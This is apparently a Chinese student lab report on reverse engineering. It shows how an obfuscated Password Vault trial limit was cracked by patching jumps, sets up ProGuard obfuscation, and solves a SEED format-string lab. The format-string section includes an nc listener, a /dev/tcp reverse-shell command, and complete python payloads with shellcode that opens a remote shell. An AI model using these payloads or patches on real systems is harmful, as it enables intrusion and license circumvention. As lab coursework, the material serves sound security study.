逆向工程实验——lab8(C/C++反逆向、Java字节码反逆向)

1.Wintel Machine Code Anti-Reversing Exercise

Description of the Exercise:

Apply the anti-reversing techniques Eliminating Symbolic Information
and Obfuscating the Program, both introduced in sections 6 and 7 of
the report, to the C/C++ source code of the Password Vault application
with the goal of making it more difficult to disable the trial
limitation. Rebuild the executable binary for the Password Vault
application from the modified sources using the GNU compiler
collection for Windows. Show that the Wintel Machine Code Reversing
and Patching Exercise can no longer be carried out as demonstrated.

1. Wintel机器代码反逆向

活动描述:

将报告第6节和第7节中介绍的消除符号信息和模糊程序的反反转技术应用到密码库应用程序的C/
C++源代码中,目的是使禁用试用限制更加困难。使用Windows GNU编译器集合从修改过的源代码重新生成Password
Vault应用程序的可执行二进制文件。显示Wintel机器代码反转和修补练习不能再进行演示。

这次的密码库应用程序是实验四-java反编译那一节的程序用C/ C++写的,先打开PasswordVaultObfuscated.exe应用程序运行,添加5条账户密码记录之后,程序提示达到上限不能再添加记录了:
在这里插入图片描述

我们的目标就是突破5条账户密码记录的限制。
先用IDA打开,查看字符串窗口:
在这里插入图片描述
在这里插入图片描述

发现除了标题以及部分提示的字符串,关键的字符串都已经被AES256算法加密了:

标题的提示文字

找到输出标题的提示文字的代码,有两处调用了这个提示函数:
在这里插入图片描述

之前运行过exe你就会知道,第一次调用是启动的时候最开始的提示,第二次调用是每次选择显示、创建、编辑、删除等功能都会先调用输出标题的提示文字。
找到第二次调用的位置在函数sub_4078B6()中:
在这里插入图片描述

6个功能的提示文字

下一个函数sub_401C04()就是输出6个功能的提示文字的函数:
在这里插入图片描述

在OD中给找到00401C04函数下断点,运行程序在显示完标题提示之后就会停在断点处:
在这里插入图片描述

这里就是显示6个功能的函数开始的地方,其中sub_401F42就是获取都是AES256解密后的字符串,sub_550C68就是printf函数,在00401D36 call Password.00527664下断点,运行程序就会断在输出第二个功能的提示文字之后:
在这里插入图片描述

00401C04函数就是负责输出6个功能的函数选项的提示文字,他们都包含在sub_4078B6()函数里:
在这里插入图片描述

我们再往上找到调用sub_4078B6()的sub_407504函数:
在这里插入图片描述

就可以发现功能实现的逻辑了,通过sub_4078B6()的返回1-6来跳转到6个不同的功能,其中控制添加账户密码记录的就是第二个功能sub_407CE6()。

功能2:添加记录

在OD中进入407CE6函数,往下我们可以找到一个判断跳转的地方,在00407D41下一个断点,输入数字2之后运行程序就会停在00407D41:
在这里插入图片描述

这时候我们已经输入了5条账户密码记录,然后al的值是01,ZF标志位是0,跳转不成立,这个跳转就是用来跳过
00407D5F E9 36080000 jmp Password.0040859A; 跳转到返回retn
让程序返回退出的,继续运行之后就会跳转到返回:
在这里插入图片描述

而跳转不成立则会 JMP到返回的位置
所以我们在这把ZF标志位改为1,就可以让跳转成立:
在这里插入图片描述

运行,成功突破限制可以继续添加账户密码记录:
在这里插入图片描述

所以这个判断就是账户密码记录条数是否小于5的关键位置,如果小于于5就可以继续添加账户密码记录,如果不小于5就输出[Error]返回。

我们再重新打开一个没有账户密码记录的exe,下断点在

00407D3F . 84C0 test al,al

运行停在断点00407D3F处:
在这里插入图片描述

这时候al的值为0,ZF的值为1,跳转成立,可以继续运行添加账户密码记录。

方法一:修改跳转

我们只需要保证跳转一直成立,这样就不会提前返回了。所以我们可以把je(等于0则跳转)修改成jmp(一直跳转),也就是把对应的机器码74改成EB,修改之前的代码如下图:
在这里插入图片描述

修改之后的代码:
在这里插入图片描述

复制到可执行文件,保存文件为 PasswordVaultObfuscated_crack_jmp.exe:
在这里插入图片描述

运行PasswordVaultObfuscated_crack_jmp.exe,成功突破限制:
在这里插入图片描述

方法二:修改返回值

因为test al,al在al为0时,al&al=0,ZF标志位置1;
je在ZF为1时跳转。
所以我们只需要让al始终为0即可实现一直添加账户密码记录,我们找到了返回eax的值位置:
在这里插入图片描述

然后我们将

00407A5B |. 0FB6C0 movzx eax,al;

修改成如下4种对应的机器码和对应的汇编:

编号机器码汇编是否合适
133C0xor eax,eax将eax置0,且运算速度比2快,且包含了movzx eax,al将eax除al以外的位置0的作用
2B8 00000000mov eax,0x0将eax置0,但是长度太长,修改比较麻烦
332C0xor al,al将al置0,且运算速度比2快
4B0 00mov al,0x0将al置0

第一种修改方式

第一种修改的既可以满足我们将al置0的目的,同时包含了源代码movzx eax,al将eax除al以外的位置0的作用,而且对CPU而言它的运算速度比mov eax,0x0快。
所以我们将源代码修改为33 C0 90,多的这一位一定要用90(nop)来代替,如果是00会被识别为代码影响后面的代码:
在这里插入图片描述

修改之后的代码:
在这里插入图片描述

复制修改到可执行文件,保存文件为PasswordVaultObfuscated_crack.exe,运行程序,成功突破限制:
在这里插入图片描述

第三种修改方式

但实际上,在这里我们按照其他的修改方式也可以实现我们的目的,可能是因为在这个程序中,eax除了al以外的位是不是为0对程序没有太大的影响 ,例如按照第三种修改32C0 xor al,al把源代码修改为32 C0 90:
在这里插入图片描述

复制修改到可执行文件,保存文件为PasswordVaultObfuscated_crack3.exe,运行程序,也可以成功突破限制:
在这里插入图片描述

第四种修改方式

例如第四种也是可以的B0 00 mov al,0x0,把源代码修改为B0 00 90:
在这里插入图片描述

复制修改到可执行文件,保存文件为PasswordVaultObfuscated_crack4.exe,运行程序,也可以成功突破限制:
在这里插入图片描述

2. Java Bytecode Anti-Reversing Exercise

Description of the Exercise:

Use Java bytecode anti-reversing tools such as ProGuard, SandMark, and
CafeBabe on the Java version of the Password Vault application to
apply the anti-reversing techniques Eliminating Symbolic Information
and Obfuscating the Program with the goal of making it more difficult
to disable the trial limitation. Instead of attempting to implement a
custom control flow obfuscation to inhibit static and dynamic analysis
as was done in the solution to the Wintel Machine Code Anti-Reversing
Exercise, apply one or more of the control flow obfuscations available
in SandMark and observe its impact by decompiling the obfuscated
bytecode using Jad. Show that the solution to the Java Bytecode
Reversing and Patching Exercise can no longer be carried out as
demonstrated.

Software for the Exercise:

Password Vault Java Windows installer ProGuard (java bytecode
obfuscator) RetroGuard (java bytecode obfuscator) SandMark (java
bytecode obfuscator) CafeBabe (java bytecode editor)

Java字节码反逆向 活动描述: 使用Java字节码反反转工具,如ProGuard,
SandMark,和CafeBabe在Java版本的密码库应用程序中应用反反转技术消除符号信息和混淆程序,目的是使其更难禁用试用限制。而不是试图实现一个自定义的控制流混淆抑制静态和动态分析在解决Wintel机器码反逆向运动,应用一个或多个控制流陷阱中可用SandMark并观察其影响通过反编译混淆使用Jad字节码。说明Java字节码反转和修补练习的解决方案不能再像演示的那样进行。
练习所需的软件: 密码库Java Windows安装程序 ProGuard (java字节码混淆器) RetroGuard
(java字节码混淆器) SandMark (java字节码混淆器) CafeBabe(java字节码编辑器)

(1)、将PasswordVault.jar加入ProGuard作为输入文件

在这里插入图片描述

(2)、然后你的得在下面添加文件所依赖的jar包,不然运行的时侯会报错:

在这里插入图片描述

添加 javax.crypto所需要的jar包:jce.jar
在这里插入图片描述

(3)、新建一个输出文件HYH.jar

在这里插入图片描述

之后就是一些参数的配置,例如要混淆哪些类和函数:
在这里插入图片描述

3. Format-String Server Vulnerability Lab

Task 7
http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Format_String_Server/
新链接:https://seedsecuritylabs.org/Labs_16.04/Software/Format_String_Server/
Overview

完整实验见另一篇文章:Format String Vulnerability Lab(格式化字符串漏洞实验最新版——2020年1月12日更新)

2.7任务7:获得一个反向shell

当攻击者能够向受害者的机器注入命令时,他们对在受害者的机器上运行一个简单的命令不感兴趣;他们对运行许多命令更感兴趣。攻击者想要达到的目的就是利用攻击建立一个后门,这样他们就可以利用这个后门方便的进行进一一步的破坏。
设置后门的一种典型方法是从受害机器运行反向shell, 使攻击者能够访问受害机器。反向shell 是运行在远程机器上的shell进程,它连接回攻击者的机器。这为攻击者提供了一种方便的方式,可以在远程计算机被攻破后访问它。在SEED书(第二版)的第9章中提供了关于反向shell如何工作的解释。它也可以在Shellshock攻击实验室和TCP攻击实验室的指南部分找到。
要获得反向shell, 我们需要首先在攻击者的机器上运行TCP服务器。该服务器等待我们的恶意代码从受害服务器机器回调。使用nc命令创建一个TCP服务器,监听7070端口:

$ nc -l 7070 -v

您需要修改清单3中列出的shellcode, 因此不用使用bash运行/bin/rm命令,而是运行下面的命令。这个例子假设攻击者机器的IP地址是10.0.2.6,所以你需要在代码中修改IP地址:

/bin/bash -c "/bin/bash -i > /dev/tcp/10.0.2.6/7070 0<&1 2>&1"

您只需要修改➀和➁行之间的代码,所以上面的“/bin/bash -i…”.命令是由shllode执行的,而不是/bin/rm命令。一旦你完成shellcode, 你应该构造你的格式字符串,把它作为一个输入发送给受害者服务器。如果您的攻击成功了,您的TCP服务器应该会得到一个回调,并且您将在受害机器上获得一个根shell。请在你的报告中提供成功的证据(包括截图)。

我们现在是需要修改程序的逻辑,让程序跳转去运行我们的shellcode,输入的字符串在myprintf()函数栈中,比较方便的就是修改myprintf()函数的返回地址,在程序要从myprintf()函数返回main()函数时,地址修改为我们的shellcode的地址,从而跳转去执行shellcode。
在这里插入图片描述
所以输入就是由这些部分组成:
1、myprintf()函数的返回地址BFFFF00C。
在这里插入图片描述

这是gdb调试server程序查看到的返回到的地址是0x08048782,实际上我们纯粹作为攻击者来说是无法调试server程序的,这里只是一个验证。真正的返回地址BFFFF00C可以从2.2 任务 2 中详细的堆栈信息中找到BFFFF00C上的值就是0x08048782。因为要修改4个字节把BFFFF00C修改成shellcode的地址,4个字节一次修改太大了,我们得分成两次修改,所以输入的地址是BFFFF00C和BFFFF00E;
2、修改返回地址的两个%hn和它们要修改的大小。因为buf[1500]的最大长度是1500,之后就涉及到缓冲区溢出的问题了,而且实际上我们在这肯定也用不到输入1500字节,所以二进制的shellcode就写在这个数组里,且buf[1500]的起始位置是BFFFF040,所以shellcode的地址也就在BFFFF040到BFFFF040+1500这个范围内,从而分两次写的高地址BFFF总是比低地址F040小,这样我们就不用考虑溢出和先写哪个地址之类的问题了;
3、500个字节nop。添加一定数量的nop可以增大shellcode被执行的概率,因为当程序跳转到nop的位置,会继续往下执行到shellcode;而且地址是4字节的,你直接跳转到shellcode的地址必须刚好准确无误,否则程序就会出现段错误无法执行,但是你跳转到nop是0x90单独一个字节就不用考虑对齐,让它往下执行就行了。
4、shellcode。转化成二进制形式直接在内存中执行。shellcode的地址就是buf数组开始地址0xBFFFF040加上前面的地址8个字节输入再加上1000个字节nop等于BFFFF3F8。
因为加了nop所以跳转的地址不用太准确,只要跳到nop上就会执行到shellcode,这里就选了buf数组起始后的40个字节的位置,我们把返回地址修改为0xBFFFF040+40=0xBFFFF068,直接先写BFFF再写F068,
其中0xBFFF -8 =49143,F068 -8 -49143 = 12393

新开一个终端创建一个TCP服务器,监听7070端口:

$ nc -l 7070 -v

攻击脚本:

python -c "print '\x0e\xf0\xff\xbf\x0c\xf0\xff\xbf%49143x%68\$hn%12393x%69\$hn'+'\x90'*100+'\x31\xc0\x50\x68bash\x68\x68/bin\x89\xe3\x31\xc0\x50\x68-ccc\x89\xe0\x31\xd2\x52\x682>&1\x68<&1 \x6870 0\x681/70\x680.0.\x68127.\x68tcp/\x68dev/\x68 > /\x68h -i\x68/bas\x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80' " > badfile
nc -u 127.0.0.1 9090 < badfile

在这里插入图片描述

附:不用nop精准获取shell

同样的地址,不使用nop也可以精准修改跳转:

python -c "print '\x0e\xf0\xff\xbf\x0c\xf0\xff\xbf%49143x%68\$hn%12389x%69\$hn'+'\x31\xc0\x50\x68bash\x68\x68/bin\x89\xe3\x31\xc0\x50\x68-ccc\x89\xe0\x31\xd2\x52\x682>&1\x68<&1 \x6870 0\x681/70\x680.0.\x68127.\x68tcp/\x68dev/\x68 > /\x68h -i\x68/bas\x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80'" > badfile
nc -u 127.0.0.1 9090 < badfile

在这里插入图片描述

4.阅读

在几周前微软三月星期二补丁日1 修复的119个CVE2 漏洞中,有29个漏洞来自我们报告的Uniscribe库的字体处理代码
https://bbs.pediy.com/thread-217331.htm

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值